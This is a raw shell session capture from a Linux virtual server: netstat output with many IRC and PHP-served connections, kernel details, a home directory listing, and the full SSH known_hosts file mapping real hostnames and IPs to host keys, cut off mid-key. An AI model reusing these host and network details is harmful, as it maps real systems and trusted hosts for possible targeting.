tcp 0 0 0.0.0.0:5901 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:6669 0.0.0.0:* LISTEN –
tcp 0 0 80.248.208.223:5678 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:22222 0.0.0.0:* LISTEN 10886/php
tcp 0 0 0.0.0.0:110 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:5902 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:6670 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:22223 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:2095 0.0.0.0:* LISTEN –
tcp 0 0 127.0.0.1:783 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:2096 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:10001 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:6001 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:6002 0.0.0.0:* LISTEN –
tcp 0 0 80.248.208.223:53 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN –
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:119 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:11000 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:952 0.0.0.0:* LISTEN –
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:11001 0.0.0.0:* LISTEN –
tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN –
tcp 0 0 80.248.208.223:6667 80.248.208.223:38538 ESTABLISHED-
tcp 0 0 80.248.208.223:6667 77.98.229.81:1125 ESTABLISHED-
tcp 0 0 80.248.208.223:6667 83.131.131.162:10302 ESTABLISHED-
tcp 0 0 80.248.208.223:41884 24.34.223.184:1024 ESTABLISHED-
tcp 0 0 80.248.208.223:22222 24.122.237.73:3329 ESTABLISHED10886/php
tcp 0 0 80.248.208.223:22222 70.83.249.59:12477 ESTABLISHED10886/php
tcp 0 0 80.248.208.223:6667 172.212.246.81:57859 ESTABLISHED-
tcp 0 0 80.248.208.223:6667 80.248.208.223:41512 ESTABLISHED-
tcp 0 0 127.0.0.1:55494 127.0.0.1:6667 ESTABLISHED-
tcp 0 0 80.248.208.223:22 24.34.223.184:4305 ESTABLISHED-
tcp 0 0 80.248.208.223:38282 194.109.20.90:6669 ESTABLISHED-
tcp 0 0 80.248.208.223:6667 75.75.191.9:2556 ESTABLISHED-
tcp 0 0 80.248.208.223:6667 125.168.0.33:1039 ESTABLISHED-
tcp 0 0 80.248.208.223:6667 24.76.102.165:62390 ESTABLISHED-
tcp 0 0 80.248.208.223:22222 74.57.155.58:2531 ESTABLISHED10886/php
tcp 0 0 80.248.208.223:38281 194.109.20.90:6667 ESTABLISHED-
tcp 0 0 80.248.208.223:6667 58.104.93.144:45053 ESTABLISHED-
tcp 0 0 80.248.208.223:22222 70.48.129.46:4583 ESTABLISHED10886/php
tcp 0 0 80.248.208.223:22222 24.201.70.50:62965 ESTABLISHED10886/php
tcp 0 0 80.248.208.223:8067 68.184.61.212:42543 ESTABLISHED-
tcp 3601 0 80.248.208.223:5665 76.108.85.21:1572 CLOSE_WAIT –
tcp 0 0 80.248.208.223:22 70.48.129.46:4432 ESTABLISHED-
tcp 0 0 80.248.208.223:44103 80.248.208.223:6667 ESTABLISHED-
tcp 0 0 80.248.208.223:22 70.48.129.46:4431 ESTABLISHED-
tcp 0 0 80.248.208.223:22222 70.55.99.6:1124 ESTABLISHED10886/php
tcp 0 0 80.248.208.223:22222 70.53.135.151:1292 ESTABLISHED10886/php
tcp 0 0 80.248.208.223:6697 125.168.0.33:1058 ESTABLISHED-
tcp 0 0 80.248.208.223:41512 80.248.208.223:6667 ESTABLISHED-
tcp 0 0 80.248.208.223:6667 81.99.189.2:34724 ESTABLISHED-
tcp 0 0 80.248.208.223:38279 194.109.20.90:6660 ESTABLISHED-
tcp 0 67 80.248.208.223:22222 70.83.246.180:4378 ESTABLISHED10886/php
tcp 0 31 80.248.208.223:22222 74.13.208.34:60699 ESTABLISHED10886/php
tcp 0 0 127.0.0.1:8067 80.248.208.223:46652 ESTABLISHED-
tcp 0 0 80.248.208.223:22222 70.81.158.109:62487 ESTABLISHED10886/php
tcp 0 0 80.248.208.223:22222 24.200.15.49:1443 ESTABLISHED10886/php
tcp 0 0 80.248.208.223:6667 212.30.4.249:4677 ESTABLISHED-
tcp 0 275 80.248.208.223:22222 64.228.87.200:61697 ESTABLISHED10886/php
tcp 0 0 80.248.208.223:80 24.200.15.49:1554 ESTABLISHED-
tcp 0 0 127.0.0.1:6667 127.0.0.1:55494 ESTABLISHED-
tcp 0 0 80.248.208.223:6667 83.131.131.162:10323 ESTABLISHED-
tcp 0 0 80.248.208.223:6667 60.242.221.109:1948 ESTABLISHED-
tcp 0 0 80.248.208.223:46652 127.0.0.1:8067 ESTABLISHED-
tcp 0 0 80.248.208.223:38538 80.248.208.223:6667 ESTABLISHED-
tcp 0 0 80.248.208.223:8067 76.108.85.21:1750 ESTABLISHED-
tcp 0 0 80.248.208.223:22222 65.93.158.196:2283 ESTABLISHED10886/php
tcp 0 0 80.248.208.223:6667 80.248.208.223:44103 ESTABLISHED-
tcp 0 0 80.248.208.223:80 24.200.15.49:1552 TIME_WAIT –
tcp 0 0 80.248.208.223:22222 74.59.201.253:2112 ESTABLISHED10886/php
tcp 0 0 80.248.208.223:21 24.34.223.184:1068 ESTABLISHED-
tcp 0 0 80.248.208.223:6667 24.201.70.50:62737 ESTABLISHED-
tcp 0 3392 80.248.208.223:22 76.108.85.21:1578 ESTABLISHED-
tcp 0 0 80.248.208.223:6697 24.34.223.184:3191 ESTABLISHED-
tcp 0 0 80.248.208.223:22222 70.83.122.242:2389 ESTABLISHED10886/php
udp 0 0 0.0.0.0:517 0.0.0.0:* –
udp 0 0 0.0.0.0:518 0.0.0.0:* –
udp 108324 0 0.0.0.0:42533 0.0.0.0:* –
udp 0 0 0.0.0.0:946 0.0.0.0:* –
udp 0 0 80.248.208.223:53 0.0.0.0:* –
udp 0 0 127.0.0.1:53 0.0.0.0:* –
udp 0 0 127.0.0.1:53 0.0.0.0:* –
udp 0 0 0.0.0.0:949 0.0.0.0:* –
udp 108324 0 0.0.0.0:40013 0.0.0.0:* –
udp 0 0 0.0.0.0:41167 0.0.0.0:* –
udp 0 0 0.0.0.0:34411 0.0.0.0:* –
udp 0 0 0.0.0.0:111 0.0.0.0:* –
udp 0 0 0.0.0.0:37746 0.0.0.0:* –
udp 0 0 0.0.0.0:37747 0.0.0.0:* –
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 2 [ ACC ] STREAM LISTENING 9112196 – /tmp/.font-unix/fs7100
unix 2 [ ACC ] STREAM LISTENING 3999890033 – /var/run/saslauthd/mux
unix 2 [ ACC ] STREAM LISTENING 3999897273 – private/error
unix 2 [ ACC ] STREAM LISTENING 3999897280 – private/local
unix 2 [ ACC ] STREAM LISTENING 3999897285 – private/virtual
unix 2 [ ACC ] STREAM LISTENING 3999897289 – private/lmtp
unix 2 [ ACC ] STREAM LISTENING 3999897293 – private/anvil
unix 2 [ ACC ] STREAM LISTENING 3999897297 – private/maildrop
unix 2 [ ACC ] STREAM LISTENING 3999897301 – private/uucp
unix 2 [ ACC ] STREAM LISTENING 3999897305 – private/ifmail
unix 2 [ ACC ] STREAM LISTENING 3999897309 – private/bsmtp
unix 2 [ ACC ] STREAM LISTENING 3999897313 – private/scalemail-backend
unix 2 [ ACC ] STREAM LISTENING 3999897320 – private/vhost
unix 24 [ ] DGRAM 542081106 – /dev/log
unix 2 [ ACC ] STREAM LISTENING 9324263 – /tmp/.X11-unix/X2
unix 2 [ ACC ] STREAM LISTENING 2295970951 – /var/run/courier/authdaemon/socket.tmp
unix 2 [ ACC ] STREAM LISTENING 598177136 – /tmp/ssh-Vstfy29862/agent.29862
unix 2 [ ACC ] STREAM LISTENING 9112403 – /tmp/.X11-unix/X64
unix 2 [ ACC ] STREAM LISTENING 9113222 – /tmp/.X11-unix/X1
unix 2 [ ACC ] STREAM LISTENING 1435304102 – /usr/local/openca.0.9.2/openca/var/tmp/openca_xml_cache
unix 2 [ ACC ] STREAM LISTENING 1435311139 – /usr/local/openca.0.9.2/openca/var/tmp/openca_socket
unix 2 [ ACC ] STREAM LISTENING 3999897226 – public/cleanup
unix 2 [ ACC ] STREAM LISTENING 3999897233 – private/rewrite
unix 2 [ ACC ] STREAM LISTENING 3999897237 – private/bounce
unix 2 [ ACC ] STREAM LISTENING 3999897241 – private/defer
unix 2 [ ACC ] STREAM LISTENING 552689721 – /var/state/pwcheck/pwcheck
unix 2 [ ACC ] STREAM LISTENING 3999897245 – private/trace
unix 2 [ ACC ] STREAM LISTENING 3999897249 – private/verify
unix 2 [ ACC ] STREAM LISTENING 3999897253 – public/flush
unix 2 [ ACC ] STREAM LISTENING 3999897257 – private/proxymap
unix 2 [ ACC ] STREAM LISTENING 3999897261 – private/smtp
unix 2 [ ACC ] STREAM LISTENING 3999897265 – private/relay
unix 2 [ ACC ] STREAM LISTENING 3999897269 – public/showq
unix 2 [ ACC ] STREAM LISTENING 428698068 – /var/run/mysqld/mysqld.sock
unix 2 [ ] DGRAM 602931906 –
unix 3 [ ] STREAM CONNECTED 602931911 – private/proxymap
unix 3 [ ] STREAM CONNECTED 602931895 –
unix 2 [ ] DGRAM 602931888 –
unix 2 [ ] DGRAM 602918597 –
unix 3 [ ] STREAM CONNECTED 602918596 –
unix 3 [ ] STREAM CONNECTED 602918595 –
unix 2 [ ] DGRAM 602662209 –
unix 2 [ ] DGRAM 601179234 –
unix 2 [ ] DGRAM 600605611 –
unix 3 [ ] STREAM CONNECTED 600605610 –
unix 3 [ ] STREAM CONNECTED 600605609 –
unix 2 [ ] DGRAM 600591139 –
unix 3 [ ] STREAM CONNECTED 600591138 –
unix 3 [ ] STREAM CONNECTED 600591137 –
unix 2 [ ] DGRAM 598176846 –
unix 3 [ ] STREAM CONNECTED 598176845 –
unix 3 [ ] STREAM CONNECTED 598176844 –
unix 2 [ ] DGRAM 564664132 –
unix 2 [ ] STREAM CONNECTED 556623057 – /usr/local/openca.0.9.2/openca/var/tmp/openca_xml_cache
unix 3 [ ] STREAM CONNECTED 529935576 –
unix 3 [ ] STREAM CONNECTED 529935575 –
unix 3 [ ] STREAM CONNECTED 529930395 –
unix 3 [ ] STREAM CONNECTED 529930394 –
unix 2 [ ] DGRAM 529857617 –
unix 2 [ ] DGRAM 511902250 –
unix 2 [ ] DGRAM 428698021 –
unix 2 [ ] DGRAM 393033862 –
unix 3 [ ] STREAM CONNECTED 393033854 –
unix 3 [ ] STREAM CONNECTED 393033853 –
unix 3 [ ] STREAM CONNECTED 393033852 –
unix 3 [ ] STREAM CONNECTED 393033851 –
unix 3 [ ] STREAM CONNECTED 393033850 –
unix 3 [ ] STREAM CONNECTED 393033849 –
unix 3 [ ] STREAM CONNECTED 393033848 –
unix 3 [ ] STREAM CONNECTED 393033847 –
unix 3 [ ] STREAM CONNECTED 393033846 –
unix 3 [ ] STREAM CONNECTED 393033845 –
unix 3 [ ] STREAM CONNECTED 393033844 –
unix 3 [ ] STREAM CONNECTED 393033843 –
unix 3 [ ] STREAM CONNECTED 393033842 –
unix 3 [ ] STREAM CONNECTED 393033841 –
unix 3 [ ] STREAM CONNECTED 393033840 –
unix 3 [ ] STREAM CONNECTED 393033839 –
unix 3 [ ] STREAM CONNECTED 393033838 –
unix 3 [ ] STREAM CONNECTED 393033837 –
unix 3 [ ] STREAM CONNECTED 393033836 –
unix 3 [ ] STREAM CONNECTED 393033835 –
unix 3 [ ] STREAM CONNECTED 393033834 –
unix 3 [ ] STREAM CONNECTED 393033833 –
unix 3 [ ] STREAM CONNECTED 393033832 –
unix 3 [ ] STREAM CONNECTED 393033831 –
unix 3 [ ] STREAM CONNECTED 393033830 –
unix 3 [ ] STREAM CONNECTED 393033829 –
unix 3 [ ] STREAM CONNECTED 393033828 –
unix 3 [ ] STREAM CONNECTED 393033827 –
unix 3 [ ] STREAM CONNECTED 393033826 –
unix 3 [ ] STREAM CONNECTED 393033825 –
unix 3 [ ] STREAM CONNECTED 393033824 –
unix 3 [ ] STREAM CONNECTED 393033823 –
unix 3 [ ] STREAM CONNECTED 393033822 –
unix 3 [ ] STREAM CONNECTED 393033821 –
unix 3 [ ] STREAM CONNECTED 393033820 –
unix 3 [ ] STREAM CONNECTED 393033819 –
unix 3 [ ] STREAM CONNECTED 393033818 –
unix 3 [ ] STREAM CONNECTED 393033817 –
unix 3 [ ] STREAM CONNECTED 393033816 –
unix 3 [ ] STREAM CONNECTED 393033815 –
unix 3 [ ] STREAM CONNECTED 393033814 –
unix 3 [ ] STREAM CONNECTED 393033813 –
unix 3 [ ] STREAM CONNECTED 393033812 –
unix 3 [ ] STREAM CONNECTED 393033811 –
unix 3 [ ] STREAM CONNECTED 393033810 –
unix 3 [ ] STREAM CONNECTED 393033809 –
unix 3 [ ] STREAM CONNECTED 393033808 –
unix 3 [ ] STREAM CONNECTED 393033807 –
unix 3 [ ] STREAM CONNECTED 393033806 –
unix 3 [ ] STREAM CONNECTED 393033805 –
unix 3 [ ] STREAM CONNECTED 393033800 –
unix 3 [ ] STREAM CONNECTED 393033799 –
unix 2 [ ] DGRAM 133834838 –
unix 2 [ ] DGRAM 3999897188 –
unix 2 [ ] DGRAM 3999890016 –
unix 2 [ ] DGRAM 3437373849 –
unix 2 [ ] DGRAM 3059743612 –
unix 2 [ ] DGRAM 2295970937 –
unix 2 [ ] DGRAM 2243100966 –
unix 2 [ ] DGRAM 1980801679 –
unix 2 [ ] STREAM CONNECTED 1435311128 –
unix 2 [ ] DGRAM 1435304772 –
unix 3 [ ] STREAM CONNECTED 9324294 – /tmp/.X11-unix/X2
unix 3 [ ] STREAM CONNECTED 9324293 –
unix 3 [ ] STREAM CONNECTED 9324289 – /tmp/.X11-unix/X2
unix 3 [ ] STREAM CONNECTED 9324288 –
unix 3 [ ] STREAM CONNECTED 9324286 – /tmp/.X11-unix/X2
unix 3 [ ] STREAM CONNECTED 9324285 –
unix 3 [ ] STREAM CONNECTED 9324267 – /tmp/.font-unix/fs7100
unix 3 [ ] STREAM CONNECTED 9324266 –
unix 3 [ ] STREAM CONNECTED 9113271 – /tmp/.X11-unix/X1
unix 3 [ ] STREAM CONNECTED 9113270 –
unix 3 [ ] STREAM CONNECTED 9113262 – /tmp/.X11-unix/X1
unix 3 [ ] STREAM CONNECTED 9113261 –
unix 3 [ ] STREAM CONNECTED 9113226 – /tmp/.font-unix/fs7100
unix 3 [ ] STREAM CONNECTED 9113225 –
unix 2 [ ] DGRAM 9112198 –
unix 2 [ ] DGRAM 8438158 –
unix 2 [ ] DGRAM 948 –
netstat: no support for `AF IPX' on this system.
netstat: no support for `AF AX25' on this system.
netstat: no support for `AF X25' on this system.
netstat: no support for `AF NETROM' on this system.
zloche@vds349:~$ uname -a
Linux vds349.sivit.org 2.6.12.6-xenU #1 SMP Fri Feb 24 01:08:35 CET 2006 i686 GNU/Linux
zloche@vds349:~$ cat /etc/i
imapd.conf inittab ips
imapd.conf.dpkg-old inputrc irssi.conf
imlib interchangedisable issue
inetd.conf interfaces issue.net
inetd.conf.vhost.0 ipaddrpool
init.d iproute2
zloche@vds349:~$ cat /etc/issue
This computer system is for authorized users only. Individuals using this
system without authority or in excess of their authority are subject to
having all their activities on this system monitored and recorded or
examined by any authorized person, including law enforcement, as system
personnel deem appropriate. In the course of monitoring individuals
improperly using the system or in the course of system maintenance, the
activities of authorized users may also be monitored and recorded. Any
material so recorded may be disclosed as appropriate. Anyone using this
system consents to these terms.
zloche@vds349:~$ ls -alh
total 48K
drwxr-x— 8 zloche vhost 4.0K May 6 13:00 .
drwx–x–x 12 root vhost 4.0K Jun 3 16:33 ..
-rw——- 1 zloche vuser 7.4K Jun 8 23:29 .bash_history
drwxr-xr-x 3 zloche vuser 4.0K Mar 15 20:43 .emacs.d
drwx—— 2 zloche vuser 4.0K May 6 13:20 .irssi
-rw-r–r– 1 zloche vuser 59 Mar 8 00:57 .login
-rw-r–r– 1 zloche vuser 46 Mar 8 00:57 .profile
drwx—— 2 zloche vuser 4.0K Jun 6 11:29 .ssh
drwx—— 3 zloche vuser 4.0K Mar 8 03:20 mail
drwxr-xr-x 2 zloche vuser 4.0K Mar 8 00:57 public_html
drwxr-x— 10 zloche vhost 4.0K Mar 17 16:33 zloche.net
zloche@vds349:~$ cd .ssh
zloche@vds349:~/.ssh$ ls -alh
total 24K
drwx—— 2 zloche vuser 4.0K Jun 6 11:29 .
drwxr-x— 8 zloche vhost 4.0K May 6 13:00 ..
-rw-r–r– 1 zloche vuser 4.5K Jun 6 11:29 known_hosts
-rw-r–r– 1 zloche vuser 4.3K Jun 5 15:42 known_hosts~
zloche@vds349:~/.ssh$ cat known_hosts
localhost ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdH
MWWgnMmR9KkDXZuiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QI
VmJ1ijRtQDibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3f
claQaSichE=
74.69.17.126 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5vHP/DNtJSXwf+2YNhLD
9MX2HkcuNqhGNtmJ6/sis9MTAQTEqnTi0Nw4yaoQL0qFM7nZkS8OGQI0X55c0Ud0JEXjb
XuikZEFUtzr2A+up19wewbpMsMRac87r+vtU218ozOUjYuurhJwF58DhrUKLrTwa5hl8p
RFTifSqhrhKCMBdQreHkmR8GoHIohMdkaPyIACKBgAaUDFX4VHoYW7AbJlO/3cJLxWEHo
UkRM9aHi6tfqXt69e8W1LGXCEI83xUyjOT+ndCm3x+w/Scuw7kBrjSYg0CXaxDTR5l8lB
MJAdenr9CFWPMKbeOLrvdAlpPewJ5EKRSxY4sWZqZwaqWQ==
server4,213.251.160.26 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+
BGB83ed97xlvJYWNm8FeE91nhXx05mZ4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdM
YCsDqa89dqNuSl0Mx7/qHPS3oQW/nPFC8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4Tlt
UMbrLRHYfAi3HbwGj6bIiuE=
server1.zloche.net,65.92.156.62 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt
Wj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQ
mfdPB300tEh4rcqt7hCvqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3f
mJDENJ/7QKV3qCY3N1WB5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dE
AmNWZnAvsZTGTqqKzpobD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lj
a+wLTlplhGOEazVa+IrXwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
irc.rasterized.net,76.108.85.21 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAy
aQ6kpWI3wBfCGF+/EGC8JLuPI4ahiREMNe0e/vUAfFjT044zOVoowDC0Ek1wgh0TAuv3D
zjz6XxknwMkaYo/KCM+CmTAQqYGj4AwxUrzy4ImUJNxvQVJxrHRL40B61lT+lSXpgsjBT
aV4qWE5vTIMoa9uz1159D5CpHMuAKU70=
server2,74.14.168.190 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzv
LAHmMtiPCbMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tE
h4rcqt7hCvqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QK
V3qCY3N1WB5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZ
TGTqqKzpobD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhG
OEazVa+IrXwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
server4.zloche.net ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB8
3ed97xlvJYWNm8FeE91nhXx05mZ4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsD
qa89dqNuSl0Mx7/qHPS3oQW/nPFC8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbr
LRHYfAi3HbwGj6bIiuE=
70.55.196.23 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPC
bMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hC
vqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1W
B5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpo
bD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+Ir
XwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
70.53.254.248 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiP
CbMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7h
Cvqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1
WB5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzp
obD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+I
rXwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
70.53.253.12 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPC
bMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hC
vqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1W
B5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpo
bD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+Ir
XwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
zokio.com,69.70.67.2 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApry7VslTBItK
BaxF942eAL6/mz/P9F7XBNUySJEg2uU6N3GfwH5QBo0s1DDS6YAvGTftSYS+9Ix3mr7wA
l6nMQCwcEwiz4j2I3g38dVynfNosgdIIpTwkmuM7ZHogpSoQBs5eEdDW9tK+oZeDQi5N/
g7QGZvFwCSmoEUq/StvqS0N9Wc1H9SSW8Ppe/CWNuFi/eRiX9SrmMHYpj7Yi6IC+FZOKn
9rCeIAlmC6xkVa/6c3Kg0Mc5CG/2j2IqbtQ1E6Jcnzp/Fp8KbuIoje0HgjxP193K7tLUN
gu7+3o0fuQnjJdXD9iIgwNAfamogurF79fkWAZfBNxDxSW5LD//L8w==
70.53.255.87 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPC
bMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hC
vqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1W
B5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpo
bD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+Ir
XwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
http://www.zloche.com,80.248.208.223 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAzYg
pHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZuiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1a
C6u1RMqueWyd0LLZD2QIVmJ1ijRtQDibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUo
m2qChYoVBFLimYvH+b3fclaQaSichE=
http://www.liber-mundi.org,81.93.5.180 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAt
Sbs8/VCyV0KAFHWmggnC3QHa2qh9AYdUYE4OrbUK7oA4Ozq8D5V2GYhBmpkMvYcCENNi7
cxyeTEMdEeBWok/zRcxRkGYAxM7Zg2NsbIez9+bB1ojKy5BoNLsocoQbvzgVbxOXHvRwc
WTGK9H7Yq8ZJPLC4ezsOpAcyTeBHEeuM=
zloche@vds349:~/.ssh$ cat known_hosts~
localhost ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdH
MWWgnMmR9KkDXZuiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QI
VmJ1ijRtQDibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3f
claQaSichE=
74.69.17.126 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5vHP/DNtJSXwf+2YNhLD
9MX2HkcuNqhGNtmJ6/sis9MTAQTEqnTi0Nw4yaoQL0qFM7nZkS8OGQI0X55c0Ud0JEXjb
XuikZEFUtzr2A+up19wewbpMsMRac87r+vtU218ozOUjYuurhJwF58DhrUKLrTwa5hl8p
RFTifSqhrhKCMBdQreHkmR8GoHIohMdkaPyIACKBgAaUDFX4VHoYW7AbJlO/3cJLxWEHo
UkRM9aHi6tfqXt69e8W1LGXCEI83xUyjOT+ndCm3x+w/Scuw7kBrjSYg0CXaxDTR5l8lB
MJAdenr9CFWPMKbeOLrvdAlpPewJ5EKRSxY4sWZqZwaqWQ==
http://www.zloche.com,81.93.5.180 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAtSbs8/
VCyV0KAFHWmggnC3QHa2qh9AYdUYE4OrbUK7oA4Ozq8D5V2GYhBmpkMvYcCENNi7cxyeT
EMdEeBWok/zRcxRkGYAxM7Zg2NsbIez9+bB1ojKy5BoNLsocoQbvzgVbxOXHvRwcWTGK9
H7Yq8ZJPLC4ezsOpAcyTeBHEeuM=
server4,213.251.160.26 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+
BGB83ed97xlvJYWNm8FeE91nhXx05mZ4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdM
YCsDqa89dqNuSl0Mx7/qHPS3oQW/nPFC8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4Tlt
UMbrLRHYfAi3HbwGj6bIiuE=
server1.zloche.net,65.92.156.62 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt
Wj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQ
mfdPB300tEh4rcqt7hCvqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3f
mJDENJ/7QKV3qCY3N1WB5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dE
AmNWZnAvsZTGTqqKzpobD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lj
a+wLTlplhGOEazVa+IrXwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
irc.rasterized.net,76.108.85.21 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAy
aQ6kpWI3wBfCGF+/EGC8JLuPI4ahiREMNe0e/vUAfFjT044zOVoowDC0Ek1wgh0TAuv3D
zjz6XxknwMkaYo/KCM+CmTAQqYGj4AwxUrzy4ImUJNxvQVJxrHRL40B61lT+lSXpgsjBT
aV4qWE5vTIMoa9uz1159D5CpHMuAKU70=
server2,74.14.168.190 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzv
LAHmMtiPCbMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tE
h4rcqt7hCvqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QK
V3qCY3N1WB5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZ
